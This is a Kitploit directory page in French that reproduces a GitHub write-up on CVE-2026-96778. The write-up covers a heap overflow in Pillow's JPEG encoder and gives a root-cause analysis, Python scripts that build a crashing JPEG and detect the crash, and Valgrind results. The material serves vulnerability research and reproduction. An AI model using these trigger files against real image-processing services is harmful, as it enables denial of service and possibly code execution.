Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-96778-pillow — Preuve de concept et analyse technique pour CVE-2026-96778, un débordement de tampon sur le tas dans l'encodeur JPEG de Pillow, déclenché par un profil ICC combiné à un marqueur COM lors d'un réenregistrement. | Kitploit
Outils/GitHubGitHub/paktiko1986/cve-2026-96778-pillow
Criminalistique MémoireAnalyse des VulnérabilitésExploitationFuzzingArticles et RechercheApprentissage et ÉducationExploitation de Binaires
GitHub
Partager
paktiko1986/cve-2026-96778-pillow

CVE-2026-96778-pillow

Preuve de concept et analyse technique pour CVE-2026-96778, un débordement de tampon sur le tas dans l'encodeur JPEG de Pillow, déclenché par un profil ICC combiné à un marqueur COM lors d'un réenregistrement.

Voir le dépôt
il y a 24 joursPas encore vérifié

CVE-2026-96778 — Débordement de tampon en tas dans l'encodeur JPEG de Pillow

Statut Pillow Corrigé Plateforme

Ce dépôt contient une Preuve de Concept (PoC), des preuves de reproduction et une analyse technique pour CVE-2026-96778, un débordement de tampon sur le tas (heap buffer overflow) dans la bibliothèque Pillow (Python Imaging Library).

Résumé bref : Réenregistrer une image JPEG contenant un profil ICC de taille précise et un commentaire (marqueur COM) provoque une écriture au-delà du tampon de l'encodeur de 65 536 octets, corrompt les métadonnées du tas et peut potentiellement provoquer un déni de service (plantage) voire une exécution de code.


1. Détails de la vulnérabilité

ChampValeur
ID CVECVE-2026-96778
Composantsrc/libImaging/JpegEncode.c — ImagingJpegEncode()
Point vulnérableLigne 282 (jpeg_write_marker pour le marqueur COM)
TypeDébordement de tampon sur le tas (CWE-122)
Plage affectéePillow 9.4.0 – <13.0.0
Corrigé dansPillow 13.0.0
ImpactDoS (SIGSEGV/SIGABRT), RCE potentielle
VecteurLocal / interaction utilisateur (ouverture et réenregistrement d'une image)
AvisGHSA-g7cr-3p24-7wf7

2. Analyse de la cause racine

2.1 Flux du code

  1. JpegImagePlugin._save() calcule la taille du tampon de sortie uniquement à partir de exif et extra (profil ICC), sans laisser d'espace pour le commentaire.
  2. _encode_to_file() (src/encode.c:186) alloue un tampon MAXBLOCK = 65 536 octets.
  3. Un profil ICC de 65 498 octets remplit le tampon exactement jusqu'au dernier octet, de sorte que free_in_buffer == 0.
  4. Lorsque jpeg_write_marker() est appelé pour écrire le marqueur COM (JpegEncode.c:282), libjpeg écrit d'abord 1 octet, puis décrémente ensuite le compteur size_t free_in_buffer.
  5. Comme le compteur vaut 0, la décrémentation provoque un underflow vers ~2⁶⁴. Les vérifications de limites suivantes deviennent invalides.
  6. Le reste du commentaire et les données d'image compressées sont écrits au-delà de la limite du tampon, écrasant la mémoire du tas environnante.

2.2 Calcul de la taille déclencheuse

ENCODER_BUFFER = 65536          # ImageFile.MAXBLOCK
JFIF_HEADER    = 20             # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD   = 18             # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD    = 65536 - 20 - 18 = 65498   # tepat penuh

Avec ICC_PAYLOAD = 65498, le tampon est rempli exactement jusqu'au dernier octet. L'ajout d'un marqueur COM (de n'importe quelle longueur, 1 à 65533 octets) déclenche un débordement.

2.3 Pourquoi les gros commentaires sont plus efficaces

Un commentaire de taille maximale légale (65 533 octets) fait que le débordement écrit une grande quantité de données, rendant le plantage plus déterministe. Un petit commentaire (par ex. 32 octets) déclenche toujours une Invalid write dans Valgrind, mais pas nécessairement un plantage à l'exécution normale (selon la disposition du tas et l'allocateur).


3. Environnement de test

ComposantValeur
OSUbuntu Linux x86_64
NoyauLinux 6.x
Python3.12.3
Valgrind3.22.0
libjpeg8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2)
Compilateurgcc 13.3.0
Pillow testé9.4.0, 9.5.0, 13.0.0
Source de Pillowcompilation depuis les sources (pip install -e .)

4. Preuve de concept

4.1 make_trigger.py — Générateur de JPEG déclencheur

Création de trigger.jpg avec un profil ICC de 65 498 octets et un marqueur COM.

from PIL import Image
import io, struct

im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()

icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data

def make_app2(payload):
    length = len(payload) + 2
    return b"\xFF\xE2" + struct.pack(">H", length) + payload

def make_com(comment: bytes):
    length = len(comment) + 2
    return b"\xFF\xFE" + struct.pack(">H", length) + comment

assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]

with open("trigger.jpg", "wb") as f:
    f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")

4.2 repro_cve.py — Reproduction compatible avec Valgrind

from PIL import Image

im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)

im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")

Exécuter avec Valgrind :

python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log

4.3 poc_advisory.py — PoC de référence (détection de crash)

Basé sur l'avis officiel GHSA-g7cr-3p24-7wf7. Exécute im.save() dans un processus enfant et vérifie le statut de sortie (négatif = tué par un signal).

#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image

ENCODER_BUFFER = 65536
JFIF_HEADER    = 20
ICC_OVERHEAD   = 18
ICC_PAYLOAD    = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD  # 65498
COMMENT        = b"C" * 65533

RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""

def segment(marker, payload):
    return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload

def make_jpeg(with_comment):
    noise = random.Random(1234).randbytes(256 * 256 * 3)
    out = BytesIO()
    Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
    plain = out.getvalue()
    icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
    com = segment(0xFE, COMMENT) if with_comment else b""
    return plain[:2] + icc + com + plain[2:]

def resave(jpeg):
    cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
    r = subprocess.run(cmd, input=jpeg, capture_output=True)
    print((r.stdout + r.stderr).decode(errors="replace").strip())
    print(f"-> exit status {r.returncode}")
    return r.returncode

print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))

print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))

if rc < 0:
    print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
    print("BUG")
else:
    print("OK")

5. Preuves de reproduction

5.1 Résumé des résultats

Version de PillowSource d'importationValgrindPoC advisoryStatut
9.4.0/mnt/Pillow/src/PILInvalid write ×5 + corruption du tasBUG (SIGSEGV)VULNÉRABLE
9.5.0/mnt/Pillow/src/PILInvalid write ×5 + corruption du tasBUG (SIGSEGV)VULNÉRABLE
13.0.0/mnt/Pillow-13/src/PIL0 errorsOKSÛR

5.2 Pillow 9.4.0 — Valgrind

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    624
  • 3

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    412
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer est une plateforme open-source de Gestion des Accès Privilégiés (PAM) qui offre aux équipes DevOps et IT un accès sécurisé et à la demande aux terminaux SSH, RDP, Kubernetes, bases de données et RemoteApp via un navigateur web.

    333
  • 5

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    328
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Moteur OSINT alimenté par l'IA pour découvrir et cartographier plus de 7 700 identités sur les réseaux sociaux à travers le web

    280

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →